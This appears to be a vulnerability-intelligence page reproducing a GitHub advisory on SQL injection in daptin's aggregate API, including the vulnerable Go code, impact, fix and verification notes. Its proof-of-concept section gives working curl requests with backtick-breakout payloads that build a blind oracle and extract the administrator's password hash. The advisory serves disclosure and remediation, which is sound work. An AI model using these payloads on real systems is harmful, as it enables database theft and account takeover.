llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/daptin/daptin

GHSA-8PJW-X53R-V878

SQL injection in the aggregate API via unvalidated order/filter/having/join identifiers (incomplete fix for GHSA-rw2c-8rfq-gwfv)

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche el mismo día de la divulgación
Exposición112 dDesde la divulgación, 30 jul 2026, 6:16 a. m.
Detección111 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v0.12.31
Monitoreo
Detectada +1
30 jul 26
18 nov 26
20 nov 26
30 jul 26
27 ago 26
24 sept 26
23 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8PJW-X53R-V878 divulgada · CVSS 8.8 (GitHub)
Remediación Parche v0.12.31 github.com/daptin/daptin · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Description

Summary

The `/aggregate/:typename` endpoint validates the `column` and `group` parameters against the table
schema — the hardening added for GHSA-rw2c-8rfq-gwfv — but passes the `order`, `filter`, `having` and
`join` parameters straight to goqu's identifier constructors with no validation. goqu quotes
identifiers but does not escape the quote character inside them, so on the SQLite and MySQL dialects
(quote rune: backtick) a backtick in the parameter terminates the identifier and everything after it
is emitted as raw SQL. Any user who can register an account can execute arbitrary SQL against the
application database. This is a second, distinct injection path in the endpoint fixed in v0.11.4.

Details

`server/jsmodel_handler.go:96-107` populates the aggregation request directly from query parameters:

aggReq.RootEntity    = typeName
aggReq.Filter        = c.QueryArray("filter")
aggReq.Having        = c.QueryArray("having")
aggReq.GroupBy       = c.QueryArray("group")
aggReq.Join          = c.QueryArray("join")
aggReq.ProjectColumn = c.QueryArray("column")
aggReq.Order         = c.QueryArray("order")

`column` and `group` are validated in `server/resource/resource_aggregate.go` by `parseAggExpr` and
`validateColumnRef`, which resolve every identifier against the table schema. The remaining four
parameters are not covered:

| Location | Sink |
|---|---|
| `server/resource/resource_aggregate.go:76-84` | `ToOrderedExpressionArray` → `goqu.C(e)` — the raw `order` value, no validation |
| `server/resource/resource_aggregate.go:717-753` | `BuildWhereClause` → `goqu.C(leftVal)` — the raw `filter` left-hand value |
| `server/resource/resource_aggregate.go:477-480` | `having` with `in` / `notin` → `goqu.Ex{leftVal: ...}` |
| `server/resource/resource_aggregate.go` (join block) | join right-hand operand → `goqu.I(parts[3])` |

`ToOrderedExpressionArray` is the clearest case — it does no checking at all:

func ToOrderedExpressionArray(s []string) []exp.OrderedExpression {
	r := make([]exp.OrderedExpression, 0, len(s))
	for _, e := range s {
		if e == "" { continue }
		if e[0] == '-' {
			r = append(r, goqu.C(e[1:]).Desc())
		} else {
			r = append(r, goqu.C(e).Asc())
		}
	}
	return r
}

goqu emits an identifier as `QuoteRune + raw string + QuoteRune` and does not escape an embedded
quote rune, so an attacker-supplied backtick closes the identifier. The server's own
`Aggregation query:` log line shows attacker SQL in the executed statement:

Aggregation query: SELECT COUNT(*) AS `count` FROM `user_account`
  ORDER BY `id` , CASE WHEN 1=2 THEN 1 ELSE abs(-9223372036854775808) END -- ` ASC
````

Reaching the endpoint requires only `Execute` on the target table's `world` row
(`server/jsmodel_handler.go:78-83`). `DEFAULT_PERMISSION` (`server/auth/auth.go:71`) grants
`UserExecute` on every table, so any authenticated account qualifies — including one created seconds
earlier through the public `signup` action.

Two aggravating factors:

- `server/jsmodel_handler.go:113` reflects the raw driver error to the client
  (`"query failed - " + err.Error()`), which upgrades blind injection to error-based.
- PostgreSQL deployments use a double-quote rune and are exposed to the same missing-escape pattern.

### PoC

Clean instance built from the tagged source, default flags, no configuration changes:

```bash
docker build -t daptin-poc .
docker run -d --name daptin-poc -p 6336:8080 daptin-poc \
  -runtime release -port :8080 -db_type sqlite3 -db_connection_string /opt/daptin/daptin.db

Register an ordinary account and sign in — no groups, no elevated permissions:

curl -s -X POST http://localhost:6336/action/user_account/signup \
  -H 'Content-Type: application/json' \
  -d '{"attributes":{"name":"Mallory","email":"mallory@evil.test","password":"M4ll0ry!Pass","passwordConfirm":"M4ll0ry!Pass"}}'

TOKEN=$(curl -s -X POST http://localhost:6336/action/user_account/signin \
  -H 'Content-Type: application/json' \
  -d '{"attributes":{"email":"mallory@evil.test","password":"M4ll0ry!Pass"}}' \
  | jq -r '.[] | select(.ResponseType=="client.store.set") | .Attributes.value')

An injected `LIMIT` gives a clean boolean oracle — the response contains 1 row when the injected
condition holds and 0 rows when it does not:

# oracle -> 1 row
curl -s -G http://localhost:6336/aggregate/user_account -H "Authorization: Bearer $TOKEN" \
  --data-urlencode 'column=email' --data-urlencode 'group=email' \
  --data-urlencode 'order=id` LIMIT (CASE WHEN 1=1 THEN 1 ELSE 0 END) -- '

# oracle -> 0 rows
curl -s -G http://localhost:6336/aggregate/user_account -H "Authorization: Bearer $TOKEN" \
  --data-urlencode 'column=email' --data-urlencode 'group=email' \
  --data-urlencode 'order=id` LIMIT (CASE WHEN 1=2 THEN 1 ELSE 0 END) -- '

# one probe of the administrator's password hash
curl -s -G http://localhost:6336/aggregate/user_account -H "Authorization: Bearer $TOKEN" \
  --data-urlencode 'column=email' --data-urlencode 'group=email' \
  --data-urlencode "order=id\` LIMIT (CASE WHEN (SELECT substr(password,1,1) FROM user_account WHERE email='admin@admin.com')=char(36) THEN 1 ELSE 0 END) -- "
````

Driving that oracle character by character recovers the administrator's bcrypt hash:

[*] sanity check of the oracle:
[+] condition 1=1 -> True
[+] condition 1=2 -> False
[+] extracted length of admin password hash: 60
[+] admin bcrypt hash recovered by SQL injection in 23.2s:
[+] $2a$11$q6VxaBrjXUU38s98jxIhmOGB0W/xQBs/c9BxF4vlgatZSoqN48BU.
```

The `filter` parameter reaches `goqu.C()` the same way and injects into the `WHERE` clause, which
also permits influencing which rows are returned rather than only reading them out of band.

Impact

Arbitrary SQL execution as the application database user, available to any account that can be
self-registered:

  • read of every table in the deployment — password hashes, OAuth tokens, credentials, certificate
  • modification of rows through injected statements, including the `permission` bitmasks that back the
  • resource exhaustion through expensive injected queries.

The endpoint and the ecosystem match GHSA-rw2c-8rfq-gwfv (High, 8.3, fixed in v0.11.4); that fix
covered `column` and `group` only, so current releases remain injectable through four other
parameters.

Suggested fix
  1. Route `order`, `filter`, `having` and join operands through the existing
  2. As defence in depth, reject any identifier containing the active dialect's quote rune before it
  3. Stop returning raw driver errors to clients (`server/jsmodel_handler.go:113`).

Resolution

Fixed on `master` by 1ec6a05b134264df626c6a54e11cde6e992cbdbc https://github.com/daptin/daptin/commit/1ec6a05b134264df626c6a54e11cde6e992cbdbc.

The fix:

  • replaces the partial regex parser with full-input structural parsing and an explicit operator allowlist;
  • schema-validates every identifier used by `column`, `group`, `order`, `filter`, `having`, and `join`;
  • removes the unsafe `ToOrderedExpressionArray` and `BuildWhereClause` paths;
  • constructs comparisons and joins only from validated typed goqu expressions;
  • validates root and joined table names inside `DataStats`;
  • requires execute and peek permission on the root entity and every joined entity;
  • applies the same validation and authorization to REST GET, REST POST, and GraphQL;
  • returns stable client errors without exposing database-driver messages;
  • fixes the GraphQL filter/having argument-copy defect discovered during remediation.
Verification
  • `go test ./...` passed.
  • A freshly built Daptin binary with a fresh SQLite database was exercised over real HTTP after ordinary-user signup/signin. Valid GET, POST, JOIN, and GraphQL aggregates succeeded.
  • The reporters’ true and false blind-oracle variants and independent `order`, `filter`, `having`, and `join` payloads were rejected uniformly before statement preparation.
  • A fresh PostgreSQL 16 database passed the same live HTTP checks with PostgreSQL double-quote breakout payloads.
  • Joined-table authorization was verified live: the root aggregate remained available while REST returned 403 and GraphQL returned `unauthorized` for a protected joined table.
  • A fresh MySQL 8 verification attempt was blocked before the API started by pre-existing Daptin MySQL schema-generation failures (`varchar(99999)`, TEXT defaults, followed by template initialization panic). The MySQL path uses the same pre-dialect validation boundary, but is not claimed as live E2E verified.

Released in `v0.12.31` https://github.com/daptin/daptin/releases/tag/v0.12.31. Versions before 0.12.31 are affected.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/daptin/daptin< 0.12.31
0.12.31
v0.13.57
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/daptin/daptin
Corregida v0.12.31 0 d v0.13.57 no afectada
Versiones corregidas0.12.31v0.12.31
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/daptin/daptin/security/advisories/GHSA-8pjw-x53r-v878

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.